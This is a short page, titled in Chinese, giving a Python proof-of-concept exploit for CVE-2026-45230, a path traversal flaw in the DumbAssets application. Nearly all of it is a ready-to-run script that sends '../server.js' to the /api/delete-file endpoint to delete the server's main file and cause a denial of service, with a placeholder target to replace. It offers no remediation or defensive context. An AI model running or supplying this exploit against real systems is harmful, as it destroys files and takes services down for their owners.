CVE-2026-45230 DumbAssets路径遍历漏洞（任意文件删除）

import requests def exploit(target_url): """ Exploit Path Traversal in DumbAssets to delete arbitrary files. """ endpoint = f"{target_url}/api/delete-file" # Attempting to delete server.js to cause DoS payload = { "filesToDelete": ["../server.js"] } try: response = requests.post(endpoint, json=payload, timeout=5) if response.status_code == 200: print(f"[+] Exploit successful! Server responded with: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:3000" # Replace with actual target exploit(target)